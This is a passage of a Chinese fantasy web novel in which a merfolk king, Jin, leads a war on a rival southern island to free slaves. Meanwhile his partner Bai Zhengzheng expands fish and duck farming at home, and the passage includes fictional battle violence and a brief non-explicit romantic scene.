等差不多时候去看,大扁鱼虽迁移走了,但离得也不远。 这么一块草一块草吃过去,人鱼们蓦然发现,原来找大扁鱼只需要摸清它们喜欢吃的海草丛分布就是。 转眼,天气渐热。 兽皮马甲穿不上了,幼崽们只围着兽皮在岛上撒欢儿。水池里的鱼又长大了一批,白争争将它们养到新做好的网箱里。 如此一看,海面已经有三个网箱了。 里头的鱼养得好的,已有三指大小。 来岛上许久,白争争也知晓怎么孵化鱼卵。加之雨季岛上风大雨大,并不好受,他也琢磨着该回人鱼王国。 屋里,幼崽们听说要回去,早早地收拾好自己的东西。 床头摆着的乱七八糟的贝壳、珍珠、漂亮石头还有果核之类的全往兽皮兜里装。 装好了,又急急忙忙跑出去,帮着成年兽人们捞鱼。 水池里的鱼大了不少,白争争打算留下一些让沐他们随手养着,余下的都带回王国。 不过怕鱼死,他们得更加小心一些。 白争争打算用大黑他们运送,龟鸣先出发去半路接应,食人鹰飞回去,中途歇脚,到人鱼王国只需要两日。 以防万一,洋一群人鱼也拖着网箱慢慢走,网箱里有不少鱼苗。 准备好了,龟鸣早早出发。 过了两日,白争争让清跟年带着幼崽,坐上大黑离开。那做得不透水的兽皮袋里装着鱼苗,赶着就出发了。 他留在最后,不着急走。 鱼苗并没送完,要看龟鸣带着存活率高些还是大黑那么运送好些,剩下的他再根据情况转运。 就在白争争等候兽人们消息的时候,岛上却隐隐有了情况。 白争争发现兽人们在收拾东西,沐也没再继续出去捞鱼,大家都隐隐有下岛的意思。 龟鸣离开后的第七天,他就又回到了岛上。 白争争撞见他急着找来,纳闷道:“一来一回不是得十天起步,怎么这么快?” 龟鸣却急道:“你猜猜我遇到谁了?” 白争争给他倒了一杯水,示意他缓缓,顺嘴道:“王国的兽人。” 龟鸣咕噜咕噜一口气喝完,打了个嗝,随后道:“不是,我遇到我族人了。” “不只是我阿爸阿爷,是我在第二环岛上的那些族人,他们背着很多东西正在往南部去。” 白争争眉心缓缓皱紧。 龟鸣还在继续说道:“中途清他们在我背上落脚过一次,回了人鱼王国,又带上其他几只食人鹰把鱼苗都带了回去。我就先赶回来了。” “他们恐怕还要过来一趟,我的族人顺带捎带他们过来。” 白争争惦记着龟鸣说的运东西往南部的事,又想着鱼苗。等确认食人鹰送回去的鱼苗没死多少,他才追问:“龟鸣,你确定他们都是去南部的?” “我阿爸说的,没错。” 白争争:“送的是什么?” “粮食,还有武器。”后头横插一道声音来,龟鸣转头,看向慢慢过来的人鱼。 秋道:“争争,我送你们回王国。” 白争争紧抿着唇,忍不住往前走了两步,急道:“是不是打起来了?” 秋道:“不是一直在打。” 白争争:“那你们收拾东西,也是回王国?” 秋:“他们直接去南边,我先送你回去。” 白争争道:“那烬呢?” 秋:“还在王国呢。” 白争争赶紧让龟鸣带上剩下的网箱跟鱼苗,着急往王国赶。 行至半路,看到海洋兽人带来的食人鹰。 白争争直接坐上食人鹰,留清他们装鱼苗,快速回到城堡。 大黑在城堡西边盘旋落下。 白争争落地的一瞬,看到烬走过来,他几乎是直接跳下去,被烬一把接住。 白争争急道:“这次跟南部是不是要打一场大仗,你也要去。” 他有七分肯定,在烬点了头后,目光中难掩焦躁。 烬将人带进城堡,回到屋中。 白争争额头晒出了汗,脸绯红。 烬看他不说话,打湿了帕子给他擦了擦身体,才放在床上,自己在他身前蹲下。 “其实之前去岛上的时候就想过要不要告诉你,但怕你忧心,所以才没说。” 白争争抬头看他,声音微哑:“要打多久?上次那种情况……” “我保证,不会有上次那种情况。” 烬擦了下他眼角,微微湿润。他心上微涩,低了声音道:“我从一回来就在做准备。你放心,很快。” 白争争:“可是会受伤。” 烬拢着他,“不会。” 白争争靠着烬,他知道他是非去不可,也没打算留他。 他只是害怕又看到烬伤痕累累的样子。 以前救他时,看他那惨兮兮的样子还能当个旁观者,现在想想,心肝发颤。 他攥紧了烬的发尾,胸口贴着他。胸前挂着的鳞片隐隐硌着,让他意识清晰了些。 白争争问:“什么时候走?” 烬:“还有一段时间,差不多十天。” 白争争:“我能做什么?” 烬拥着他道:“照顾好自己。就当我出一趟远门,很快回来。” 白争争气闷:“不可能。” 烬就知道。 他有些歉疚的低头,额头贴着白争争,注视着那双清亮眼睛道:“那就帮帮我。” “好。”白争争想也不想就答应。 烬:“还没说帮什么。” 白争争着急戳他,他急得快上火了。“别墨迹了,现在说。” 烬认真了几分,道:“继续做你想做的。我需要,战士们也需要。” “吃肉?”白争争问。 “嗯。”烬直起身,按着他的后颈,将白争争完完全全拢在怀里。他脸贴着黑亮的长发,冰凉的触感让他忍不住低头轻蹭。 “回来之后,犒赏兽人们是件大事,我需要足够的食物,最好是肉。” 白争争知道他又在安慰自己,但这件事确实也该做好。 他道:“好,我一定做到。” 烬闭上眼睛,低声道:“那就辛苦争争了。” * 白争争离开了三个月,一批野鸭都能长大了。 烬还没走,该准备的也已经准备好了,后头的时间索性便多陪一陪伴侣。 白争争回来之后,先去检查了一下清他们带回来的鱼苗。 烬带他去的。 鱼苗被养在了西边,离之前烬带他去的那座小岛不远。 当看到成排的网箱没入水中,上面的竹竿组成排筏似的落脚点,白争争还误以为走错了地方。 他道:“我记得没这么多网箱。” 烬:“兽人们自己后头又做的,担心你养鱼不够用。” 纯粹是兽人自发的行为,烬甚至都不知道。 还是当时清他们送第一批鱼苗回来时被兽人们看见了,当知道他们把鱼苗装兽皮袋里,还死了些,赶紧把网箱拿了出来。 那模样看起来比清他们都要心疼。 白争争听罢,道:“他们不觉得麻烦。” 烬在水中拥着他,看伴侣湿了一截的黑发贴在脖子上,耳朵漂亮莹润,轻轻将唇瓣贴上去。 白争争偏头,瑟缩了下。 他望着网箱上忙碌的人鱼,小声道:“我上去看看。” 烬:“好。” 网箱上的木头浮起来,一排一排的,形成了一条条笔直的路。烬掐着白争争的腰往上一举,整个将他放在木头上。 待他站稳,才松开手。 水珠从亚兽人身上滚落,腿上海水晶莹,比珍珠还好看。 烬用手抹去,白争争看了眼道:“这会儿擦什么。” “嗯。”下意识动的手,他自己甚至都没反应过来。 这边的鱼也有兽人守着,白争争捡了排筏上的网兜,在网箱里轻轻捞了几下。 小鱼黑色的背鳍浮起。 安安静静的,直到快要出水才意识到危险,甩着尾巴溅起海水,乱窜着逃开。 挺有活力。 白争争连看了几个网箱,鱼苗都还算精神。运回来只少些鱼鳞受损,倒不是什么大问题。 网箱上被安排过来看水箱的人鱼正是灿。 他暂时不想看铺子,让菱给他换了个活儿,就成了发配西边,过来守鱼。 他道:“争争你别看他们现在精神,送来的时候可不少鱼翻了肚皮。最后还是用祭司留下的药泡了泡,他们才好的。” 白争争:“我还当送回来就这样呢。” 灿:“那不可能。我们在海上捕捞的大扁鱼送回来少有活着的,它们看着皮实,也容易死。” 要不是清他们细心又小心,一个兽皮袋里也没装多少,加上祭司的药有效,不然得死一片。 “现在这边有多少个网箱?”白争争问。 灿道:“五十八个嘞。” 白争争:“这么多?!” 他们带去岛上的野菜四五个。 灿一副你没听错的样子,点头道:“你不知道吗?” “也对,我跟你说啊,是这样的……后山现在的野鸭有一千多只,兽人们天天往后山跑。知道你养鸭子成功,又知道你还要养鱼,全都来帮忙了。” “也不用这么帮吧。” 这网箱难做,能做这么多,除非大部分空闲时间都在弄这个。 灿嘿嘿一笑,“这你就不知道了吧……他们想卖个好,也想学六大部落那样,让你教他们养鱼。” “也就是说,不止烬原来叫的那些兽人帮忙,其他部落也做了?” “对滴。要不是王阻止,他们现在都得在海上捞鱼苗去了。” 白争争破觉责任重大。 “我也才刚养。看吧,我先养几批,之后成功了再说。” “好嘞!那我跟他们说你答应教?” 白争争强调:“成了再说。” “好嘞!”灿心情舒朗,争争可比菱好说话多了。 白争争见旁边兽皮袋里有新捞的海草,料想是喂鱼的。 不过光捞海草来喂还是费事了些,若是能做些鱼饲料,那更加事半功倍。 白争争将这事儿默默纳入计划之中。 回到城堡,白争争又上了一趟山。 鹿花见他回来了,兴冲冲地就拉着他往养殖场里打转。 “争争啊,可把你盼回来了。你快想想办法,这地方已经养不下这么多野鸭了。” 原来是白争争走的这一阵,小鸭子陆续孵化。 小鸭子装满了余下的五六座空房子,去年孵化出来长成的野鸭也成了大鸭子,也已经在下蛋,能孵了。 但兽人们想动手,但孵出来的鸭子却没地儿放了。 白争争道:“都住满了?” “你看看,还有哪个圈空着的。”鹿花这些天为这事儿愁得毛直掉,“你不是说不能一个圈里养超过二十只,现下没地方了啊。” 白争争:“那就不得不搬了。” …… 出去转完一圈,回到城堡已经是傍晚。 白争争想起回来前知道烬要走的事情就昏了头,一心忙着鱼、鸭,忘了看他小侄子。 晚间吃饭的时候,菱抱着一团白白嫩嫩的小年糕来了。 白争争当场将小崽子抱过来,那小模样漂亮,银白色的短发,眉眼像他哥,不做表情的时候像一颗严肃小卤蛋。 鼻子嘴巴像菱,处处精致。 白争争抱着他,跟幼崽大眼瞪小眼。 换了人抱着他也不哭,只一双眼睛仔细打量着你。过会儿,幼崽徐徐将视线往旁边一瞥,看像他阿爸,小手也伸出去。 情绪很稳定,是个乖崽。 但是不让他抱。 白争争:“取了什么名字?” 菱吸了一口幼崽脸蛋,幼崽咧嘴,笑得跟不要钱似的,跟在白争争手上完全不一样。 鹤眉眼舒展,低声道:“叫安。” 简单,但寄托着两个爹对他的祝福。 白争争:“安安。” 小卤蛋看他一眼,默默转过头,揪着自家阿爸头发不再理会他。 白争争诧异。 要知道,他在部落里可是很受幼崽喜欢的。 鹤轻咳两声,赶紧道:“快吃饭吧,一回来就忙个不停,我们都找不到人。” 白争争巴巴看了幼崽一眼。 烬无奈:“争争,吃饭。你喜欢幼崽的话,我们可以……” 白争争抢答:“借过来!” 烬侧目看向鹤:“借?” 鹤道:“借什么借,自己生!” 第73章 第 73 章 开战 晚饭过后, 白争争去了一趟麦饼店,跟阿爸阿父还有族人们说了些岛上的事,之后就与烬回了城堡。 小别胜新婚,他们已经很久没见。 只一个眼神, 白争争就溺在烬的怀中。 …… 当晚, 暴雨裹挟着狂风, 吹得后山的树飘摇。呜呜的风声低泣, 一直到早上才歇。 狂风过后, 早上的街道如洗过一般, 透亮了几分。 不过有些兽人的房顶还被掀了, 城内早早的传出兽人修补房子的敲击声。 白争争赖了会儿床, 磨蹭着从兽皮毯子底下拱出脑袋。身上被捂得出汗,他踢开被子,露出半身糜艳的红痕。 醒了醒神,他猛地坐起。 见水池里冒着泡泡,撑着后腰往边上一坐, 两条腿放了下去。 脚脖子被轻轻抓住, 白争争脚趾蜷缩。 “我热, 能下来洗洗吗?” “不能。”烬浮上来,将人拦腰一抱,送去旁边小屋。 白争争躺进温水池里,舒展下有些僵硬的双腿跟后腰的,这才舒服了。 他看着水边坐着的烬,又待不住,泡了一会儿就往他身边游。 烬张开手,白争争卧进去,懒洋洋打个哈欠, 找个舒服的姿势靠着。 两人也不说话,只依偎着便觉满足。 …… 十天转眼就到。 烬走时悄悄,只他跟秋两个兽人。 白争争在海边送了一程,只看那一轮红日初升,烬消失在了那金光粼粼的海水之中。 烬离开后,白争争独自坐了一上午。 正当菱跟鹤担心他情况找来时,白争争已经调整好,并拿着一张兽皮出来。 “争争,你去哪儿?”鹤见他急匆匆的,直接拦在他面前。 白争争一个晃眼,他怀里的小幼崽就落到了自己手上,软乎乎的。 白争争不得不双手圈住,生怕他掉下去。 “哥,我去后山。你把安给我干什么?有事啊?” 菱打量着白争争的脸色,看起来好好的,哪有什么伤心样子。 菱试探问:“不跟着烬?” “我去也做不了什么。”白争争了然笑道,“我没事,你们放心。” 他将幼崽还给鹤,唤过大黑来,爬到他背上去。 “哥,我去后山看看,晚上应该不回来吃。” 说罢,大黑振翅,不一会儿就没了身影。 菱看着自家小崽伸手过来,抬手让他勾住,侧头靠在鹤肩上道:“你小看了争争。” 鹤望着天空失神。 “长大了。” 以前那个有事喜欢往哥哥身后躲的争争,好像很难看到了。 白争争要做的事情很多。 养殖场要再选个地块儿大的养野鸭,之前早看过环洲中心的情况,白争争将新的养殖场的地落到再往北一些的位置。 位于角兽牧场与现在的野鸭养殖场的中间。 选定地方,便问菱要兽人建房子。 菱答应得爽快,第二天就派兽人去看了地回来,之后就开始清理场地。 等待建房子的时候,白争争也没闲着,他想要研究鱼饲料。 才一提,菱就把命祭司带出来的团队给了他。 白争争诧异,菱却道:“祭司很早就知道部落里只他一个会认识草药,研究植物的兽人不行,所以早早地开始培养更多的兽人。他们是祭司带着搞过杀虫剂的,用来弄那什么饲料应该也一样。” 有人用就行,白争争也不挑。 他将大扁鱼的饮食偏好跟兽人们一说,为首的人鱼只点了个头,然后就走了。 白争争搞不懂到底要不要他一起。后来想想,人鱼有人鱼的傲气,小小饲料,定在掌握之中。 于是乎,他就安心地扩建他的养殖场。 * 此时的南部,海上刚刚下过一场暴风雨。海水平静,映着上端的一轮彩虹。 开战的日子是祭司算出来的,烬什么都准备充足了,只差干这一场。 风声寂寂,最前线的礁石上,还是以前那样。 南部人鱼来骚扰,看着王国这边人鱼开打就跑。遛狗似的,反正不让他们好受。 早在茯死后,南部的人鱼最擅长的就是躲。烬不愿留下祸患,所以必须要斩草除根。 当龟族送的物资缓缓靠近南部大岛时,驾着食人鹰的先行部队已经落到了这片土地。 烬加速赶到,也只比龟兽人慢上一两日。 海中两边领地的交界处,王国的人鱼依旧配合着南部的人鱼演戏,该追的时候追,该怒骂的时候把十八辈祖宗都伺候一下。 天黑尽。 海中漆黑,南部大岛外,黑压压的可怖巨物缓缓冲着南部岛屿而去。 巡逻的人鱼停下,道:“海兽来了?” 烬带领的人鱼战士散开,露齿一笑,尖牙锐利。 “海你爷爷个兽!” 巡逻的兽人看清后,嗤笑一声,“来送死的。” 他张嘴发出奇异的音调,并同时甩出鱼尾,露出利爪冲击过去。不想消息还没发完,脖子上忽然迸射出一道红痕,就被抹了脖子。 秋懒洋洋收回手里两米多长的长枪,在海水里晃了晃。 “真好用。”他笑着捧着长枪看,喜爱不加掩饰。 后头的人鱼见队长轻松被抹了脖子,齐齐发声试图召来更多的同伴,烬看着秋道:“别玩儿了。” “哦。”秋桀桀阴笑,比南部人鱼还变态。 几条人鱼跑不及,直接被秋抡了个对穿。 后头的兽人跃跃欲试,但没那多人鱼让他们穿。 大部队继续行进,烬似乎没有掩饰,只不过路上遇到要回去报信的,杀了就是。 所以那岛上的王宫之中,兽人们还在呼呼大睡时,四周的海水中时不时开出血色的花,向岛上逼近。 而这期间,武器的应用让人鱼们最大程度上避免了肉搏,只要反应够快,在对方出招之前,就能一下毙命。 这切肉跟砍菜似的,人鱼们越杀眼睛越亮。 他们早憋屈死了。 “王,我们为什么还要悄悄的啊,冲上去一刀一个那才叫爽。” 烬:“登岛了,别说话。” 兴许是上次烬将奴隶兽人带走,南部人鱼得了教训,不仅海里有兽人巡逻,岛上更是。 食人鹰队伍落下时,再小心也被发现。等到烬带着大部队上岸时,他们已经砍过一轮了。 “王,轻伤两百,死亡三十,重伤七十,已经送去祭司那边了。” 烬点头,兽人们的兴奋在听到先遣部队的伤亡消息后,缓缓转变为谨慎。 烬看着周围的茂林,还有海风中传出来的血腥味,道:“食人鹰队分出一部分随时转运伤员,其他兽人,依照安排的行事。” 此次参战一共五个队伍。 祭司带领一部分人鱼负责转移与治疗伤员,龟族这些海洋兽人负责运送食物、草药与武器。 正经参与战斗的,主力是烬带领的人鱼,再有六大部落兽人及第二环岛的兽人。 他们分别负责中部、南部区域,最后回归北部。 而烬则带着人鱼,直冲北部。 奴隶兽人被放走后,南部的人鱼并没有放弃抓奴隶的事。烬已经派了人鱼去第二环岛让他们警惕,再远一点的地方就无暇顾及。 所以岛上的奴隶兽人虽然没有从前那样多,但也有千数。 南部依旧在制造银币。 这些人鱼像只有这一个搞王国的想法,源源不断地挖矿,炼制。 而南部与中部最多就是奴隶兽人,反倒是人鱼少些。 两个兽人队伍所向披靡,快速将他们解决。 或许是风中的血腥味渐渐浓厚,又或许是人鱼求救的信号被兽人听到,当烬带领兽人们赶到北部时,城中灯火通明。 而那城门紧紧关闭,兽人立在城墙上,来回地巡逻,像是要看尽藏在林子里的一切。 烬抬手,兽人们悄无声息地停下步子。 “包围。” 这次一个也不能放过。 * “报——” “王,烬带着兽人登岛了,我们已经被包围了。”放哨的兽人确定了情况,摔下哨台,屁滚尿流地往王宫里跑。 在烬准备这场战斗的期间,茯的儿子弄死了自己的亲生阿爸,成功坐上了王的位置。 这才坐上没几个月,睡前还在醉生梦死呢,被自己的护卫长叫醒时,脑子都没清醒。 这会儿又听被包围,噌的一下站起,怒骂道:“都是干什么吃的,都打到领地里来了才知道!” 岛上人鱼族的几个领袖已经聚集,除开人鱼王,为首有祭司,护卫长契,以及岛上几个熊族、虎族部落的首领。 祭司一头白发,仙风道骨,只眼上蒙着兽皮。 他并未乱,问道:“烬亲自来了?” “来了!” “命呢?” “人鱼王国的祭司没有出现。” 护卫长身形高大,腹部鼓胀,脑袋也圆乎,看着像个胖头鱼。 看着颇年轻,却是帮人鱼王砍掉亲阿爸头颅的兽人。 他拎着放哨的兽人,低喝道:“问这个有什么用,他们带了多少兽人?” 放哨的兽人支支吾吾,却是不知。 契一把将他扔下,拍着大肚子自傲道:“怕什么,就算围了上来,那还有围墙挡住。他们敢爬上来,我们就能推下去。” 人鱼王看着门外被灯光映红的天,却只觉得冷汗津津。仿佛那凶神恶煞的正统人鱼王就站在那黑暗中,静静地看着自己。 他眼神一变,阴冷如蛇。 “去!把奴隶兽人都带出来。要是他们敢动,就把奴隶扔下去。” 烬不是单独为了这些奴隶还要来一趟吗,他就不信他不顾及他们的命。 挖矿跟制作银币的奴隶兽人固然不少,但王宫里却更多。南部的人鱼都是会享受的,哪怕是护卫队里的人鱼,家里都有三五个奴隶候着。 而之前烬带走的那些,也不过是王城里的一半。 * “王,他们发现咱们了。”秋低声道。 只见那城墙上人鱼动了,许多形容凄惨的兽人被带了上去。其中年迈的稀少,多是壮年兽人,以及长相好的。 烬:“奴隶兽人。” “那咱们怎么办?” “弓箭手。” “到!”队伍后头,百人的弓箭小队走出来。 烬目色淡然,望着那城墙。在他眼里,只有那些呵斥着奴隶兽人还不停动手的人鱼。 他们本是一脉,但人鱼族能力强大,在环洲充当的是庇佑其他种族的角色。 而非运用能力,欺凌压迫。 “瞄准,别伤了无辜。” “是!” 弓被拉开,兽人们有的直接上树,有的蹲在草丛,那箭头瞄准了施暴的一方。 “底下的兽人!我们的王让我告诉你们,趁早撤了兽人离开,不然敢动一步,我们就把这些奴隶兽人扔……” 秋呵了声,将弓箭还给旁边的兽人。 喊啊,怎么不喊了。 “怎么了?”城墙上乱了一瞬,押送奴隶兽人的人鱼看去,却见刚刚喊话的小队长身体被一根圆木贯穿,鲜血顷刻染红了地面。 “队、队长?”旁边的人鱼蹲下去推他,看人鱼双眼圆瞪,却没了呼吸。 “死了!” “小心!!!” 人鱼不明白木棍怎么成了武器。 没等他们看清,只注意到胸口上扎入了同样细的木棍,感受到深入灵魂的疼痛,早已经没了声息。 “木棍上有刺!”捂着手上的臂膀的人鱼高叫道。 不过偷袭能成功一次两次,第三次城墙上的人鱼就明白了。他们一把抓过奴隶兽人挡在身前,透过缝隙,往远处漆黑的林子里看。 这就没法了。 秋道:“王,要不我们爬上去?” 烬道:“不行。秋,你带一半的弓箭手往侧边去,动静闹得大一点。” “其他兽人原地不动,休息。” “底下的兽人,再不撤退,我们扔奴隶兽人?” 林子里没动静。 “真扔了啊!”城墙上又喊。 契一上来就听到这话,气得一巴掌扇过去。 “你当玩儿呢,还商量!”他抄起手边的兽人,直直地往下一扔。 “王!”兽人们低呼。 可要救,也已经晚了。 城墙上已经麻木的奴隶兽人们眼里闪过惊恐,腿软着,纷纷往后退。而那奴隶兽人的同伴死死盯着漆黑的地面,心中大恸。 林子里的人鱼们气得拳头捏紧,牙齿磨得咯吱咯吱响。 契眼里闪着幽光,哈哈笑道:“烬!我也等你很久了,没想到你还送上门来。出来!” 他又捞起一个兽人。 “我们奴隶兽人多的是,要不要我一个个地送你啊!”说着做势又要扔。 那被抓住的兽人哭喊:“阿爸!阿爸!阿爸你救救我!”他挣扎着,却怎么也躲不开兽人的手。 烬往前一步。 “王!” 烬:“没事。” 他缓慢走出密林,微仰头,看着那胖头鱼猖狂在大笑。 “烬,你胆真大啊。” “这样,我说话算话,送你!”他猛地将兽人往烬身上砸。与此同时,又一把抽出兽人身上的利箭,带着血肉,紧跟着投射出去。 “王!” 后头的兽人上来,接住兽人猛地往后退了几步才稳住。 烬随意看了眼那后头落下的箭头,仅仅是轻飘飘地在地上弹了一下,落在他脚边。 契笑容一僵。 烬忽略他,目光落在城墙上那些奴隶兽人身上。 他们手被绑在身后,低着头,陷入惶恐之中。 烬道:“我只是人鱼族的王。” 与他对视的是与刚刚被扔下来的兽人明显有关系的一个,兽人眼里没了恐惧,满是恨意。 烬:“要活命,你们只能自救。而我能顺便带你们离开这里。” 契顿时警惕,余光忽然见冲过来的兽人,他抬手抓住他的脖子。 烬忽然道:“打!” 奴隶兽人顿时找准了人鱼围攻,而在后头根本没心思休息的兽人也像听到了命令,纷纷涌出,利箭齐发。 兽人是天然的战士。 瞄准箭头这事儿,在训练了无数遍的人鱼战士们手中,那就跟爪子一样好使。 契狼狈避开,这才有些慌了神,高声道:“你敢!” 轰隆一声—— 东边忽然燃起了大火,契远远看到那些人鱼从坍塌的城墙爬进来,才知道中了计。 “拦住!给我拦住!” 他盯着东边,却看那些人鱼手拿不知什么利器,只轻轻一扫,就能割破兽人的喉咙。 契这才意识到烬此时立在跟前,意味着什么。 他们来真的! 不是为了救奴隶,只是想灭了他们! 这仗到底是打起来了。 契呵斥着自家兽人紧紧守着城门,紧急召集所有护卫队,却发现来的兽人寥寥无几。 “怎么回事!怎么回事!”他宛若癫狂。 “他们、他们进来了!”他身后的兽人慌了阵脚,纷纷要跑。 虽然他们喜欢玩儿命,但也是玩儿别人的命。自己的可不像赔进去。 秋站街道上,看着处处不如他们王国的建筑,嗤笑道:“就这,还想跟我们王国相比。” “都是垃圾。” 契试图回王国,秋却挡住他的路。 “跑什么,打一架?”不等人回应,抓着长枪就冲去。 契低头绕过,凉意划过脖子,吓得他冷汗津津。 这到底是什么玩意儿! 他一边躲避秋,一边试图用手上的长矛应击。但两边相碰,他的武器直接被削成了两半。 契扔了长矛,一脚踹飞旁边的兽人的大刀。待握在手中,感受到那沉甸甸的重量,颠了颠,阴笑着啐了一口,迎面还击。 秋跟他打得几个来回,一路火花四溅,铮铮之声刺耳。 不知不觉打斗到城墙下,那契一个劈砍过来。秋往旁边一躲,再抬头,胖头鱼从他们进来的城墙缺口跑了。 秋呸了一声。 “我还当多厉害呢。” 城门顿开,烬立在门外。 他看着开门的奴隶兽人。 “要想离开,一直往北跑,会有接应。要报仇也随你们自己。” “阿爸!”刚刚被接住的兽人扑上去,抱住了奴隶兽人为首的那个。 他受了伤,脖子青紫,手臂上人鱼指甲挖出来的伤口在汩汩冒血。 亚兽人一头冷汗,接住跑过来的崽子,低声道:“谢谢王。” 烬:“我该谢你们。” 人鱼大部队往里打去。 城墙上活下来的奴隶兽人在城门口分流,一部分径直往北跑,一部分拿了倒下的兽人的武器,红着眼睛,以命换命。 王国的人鱼训练了一年,都是精锐。一路劈砍打杀,王宫外围留守的人鱼早已经被砍杀了大半,街道上的血都显得黏腻。 秋重新带回他的小队成员,往王国的深处去。走了一圈,却发现空空荡荡。 “怎么没看到人?” 秋一拍大腿道:“肯定跑了!” 烬忽然抬头。 只见食人鹰密密麻麻如网一般,往北边疾驰。几滴血溅落,烬道:“找,这里一定还藏了些。” 烬带头往王宫里走。 那勉强算得上宽敞的王宫里,什么都没有。烬脚步一顿,鼻尖动了动。 “离开!”他喝道。 秋瞬间带兽人撤退,却见漫天大火而起,比他们在城墙上放的更加热烈。 烬躲避门口腾升的火焰,四处查看,抓着秋的长枪一个助跑往房梁上一跳,顿时在屋顶戳出个大洞来。 兽人们眼睛一亮,争相效仿,不一会儿就钻了出来。 除了有点灰头土脸,发尾被烧了下,一点伤都没有。 秋撇嘴:“就这本事。” 烬:“不也把你拦住了一会儿?快搜。” 兽人地毯式搜索,向北行进。落单的人鱼被抓起来,五花大绑。 不知不觉,兽人们遇到了食人鹰的队伍。 他们一同停下,而眼前是一片连绵的山。 “跑进去了,我们查探过,藏进了中间的一处洞里。”带着食人鹰队伍的虎奔道。 担心他们再跑,他们驾着食人鹰没有露面,虎奔派了兽人盯着,等着烬过来指挥。 烬:“让海洋兽人守住海里,不要放跑一个。其他兽人,原地扎营。” 兽人们快一天没吃饭了。 大家迅速围拢,负责后勤的龟族一听要吃饭,派了几个小辈过来。 巨龟身上驮着食物,灶具。 往地上一放,变做兽形,当场生火开煮。 龟鸣的爹龟喧将兽皮打开,一半的肉干,一半的米,还有一个兽皮袋里全是麦饼子。 起锅烧油,放增香的调料。 爆香加水煮开,放肉干、米,这饭吃得简直比在王国里都舒服。 兽人们一个分一个麦饼子先啃着,吃得噎了,再来一碗肉粥,舒舒服服的,戾气都少了些。 “王,吃饭!”秋急吼吼道。 烬看着那山林,黑压压的,如匍匐的巨兽。 “山里应该缺食物。” “缺,怎么不缺!这岛上又不比在王国,他们吃的粮食都是从环洲送上来的,不然就是奴隶兽人从海里捞的,山上早就被他们薅光了。” 秋递上碗来,笑得贼兮兮。 “王,咱就是围在这里,等他们饿得受不了了,再弄死他们。” 烬侧目:“吃你的。” 第74章 第 74 章 你想活吗 契一路奔逃, 往南部而去。他横眉冷眼,嘴里低低地骂个不停。 那群孙子居然抛下他自己跑了,还带走了大部分的人鱼战士,要不是他躲得快, 现在早被砍死了。 他拨开树枝, 一心远离往北而去的兽人队伍。 但跑了许久, 忽然听到林子里有窸窸窣窣的脚步声。契噤声往灌木丛里一蹲, 他悄悄拨开遮眼的树枝, 定睛一看, 竟然还是那人鱼王国的兽人! 他们围坐在一起, 正生火做饭。 来了这么多! 契汗毛竖起, 这是不弄死他们不罢休了。 契回身,压着步子,慢慢挪远了去。直到一棵大树前,才软了腿,靠着树干坐下。 “啐!” “以前两边小打小闹, 但也没到要全灭对方的地步。这次是发什么疯!” 契扯动了肩上的伤, 变了脸色, 又暗骂一声。 想到那群跑了的族人,契脸上阴晴不定,过了一会儿,才暗暗下了决定。 既然他们弃他不顾,那自己也没必要告诉他们岛上现在的情况。就让那些家伙被困死,他先走一步了。 契悄悄起身,想了想,向西边而去。 只要入了海,他便四处可去。 * 山中, 岛上人鱼早就在山洞中建造出一个避难所。 里头放了足够多的食物、武器,这里还有连通到海中的隐秘通道。 “祭司,可以走了吗?” 人鱼王看着祭司手中的烧制过后的细小木棍,难言焦躁。 白发祭司并未回答他,而是紧盯着那木棍,口中默念着什么东西。 人鱼王不耐,转头对洞内的其他部下道:“探路的兽人呢,怎么还没回来?” 熊族族长频频往洞最深处看。 那是个天然的隧道,走进去一路往下,就会到达北部的海边。 他们本来是快到海边了,结果又被追来的食人鹰赶进山中的。 熊族族长现在还惊惧地捂住胸口,回想那密密麻麻的食人鹰。 王国的卧底被拔除,在此之前他们丝毫不知道王国那边能制作那么锋利的武器。 不仅如此,居然还能让食人鹰听他们的命令。 那可是食人鹰! 海上最凶猛的,会吃兽人的野兽! 熊兽人战战兢兢,却又不敢在南部人鱼王面前表现出来。他知道,要再不离开,必死无疑。 而跟前,享乐生活中成长起来的南部人鱼王是半点不敌从前的茯。只有狠心,没有脑子跟手段。 现在都只知道团团转,还不停地道:“祭司,祭司到底能不能走!” 废物! 要是茯在,早自己有了决断。还靠这狗屁不中用的祭司! 与其替他送死,不如…… 熊族族长垂头,思考这法子的可行性。 他不动声色地打量着洞里洞外兽人,山洞几十米高,极大。所有人鱼都在这里了。 有两千,而他的族人仅有三百不到。但如果加上旁边的虎族、狼族…… 虎族族长死心眼,兴许不敢。狼族倒是可行,但打这么多人鱼却是打不过。 难、难! 他们又不会海里游,这些人鱼绝对会将他们留下来殿后。 怎么想都得死,倒不如拼一拼。 熊族族长看向虎族族长跟狼族族长。他一个眼神,狼族族长便跟着他走。 虎族族长却杵在原地,声音浑厚:“干嘛?你眼睛烂了?” 狼族族长咬牙一笑,勾着他脖子往边上带,如常一般道:“找你商量怎么对敌。” 一直捏着木棍的祭司终于舍得放下,看了他们一眼,眼神冷淡。 “祭司。” “王,你想活吗?” “你这是什么话!我们跑难道不是最大程度地保全族人,要是正面跟他们对上,死的必定是他们。”人鱼王丝毫不承认自己不如人鱼王国。 祭司看向那山洞深处,叹息道:“占卜的结果不好。要想活,只有一个办法。” “走!”人鱼王是真的不耐了,能听祭司的,还是因为他阿父在的时候说遇到大事听听他的意见。 “王!”祭司忽然站起来,吓得远处正试图道出想法的熊族族长一惊,不敢说话。 这老兽人阴得不行,平常话不多,脑子里想什么谁都不知道。就像有毛病似的。 人鱼王烦躁道:“祭司,都什么时候了!要走就赶紧走。明天天一亮,他们就找上来了。” 祭司冷脸道:“王,你要是听我的,现在就下山。” “下山送死吗?!” * “桀桀桀,来了一个送死的。” 海中漆黑,数不清的海族漂浮在海面。 命在龟背上忙碌,将送来的伤患包扎好。 只见那不远的岛上,似闪过一个人影。 围了岛的海洋兽人低声道:“来了一个傻子。” 契小心没入海中,回头看了一眼岛上,阴笑道:“王,我就先走一步了。” 说着往海里一沉,甩尾就急促冲着深处游去。 “小鱼儿来了。”龟族兽人吐出个泡泡,兴奋地划动四肢。 命祭司只看了一眼水中,便收回目光,拍了下已经微微游动的大乌龟。 龟喧闭嘴,默默当个浮岛。 只见契如离弦之箭袭来,早已摩拳擦掌等候在周围的海族们一拥而上,桀桀怪笑着,正好将契包围在其中。 当满意地看到契难以置信的表情,笑容一收,转为莫大的恨意。 就是这个兽人,抓了他们无数的族人,虐待殴打,侵.犯砍杀,海族们片刻都等不及要他的命! 族人临死前的惨状历历在目,若不是人鱼一族解救,他们也难活到现在。 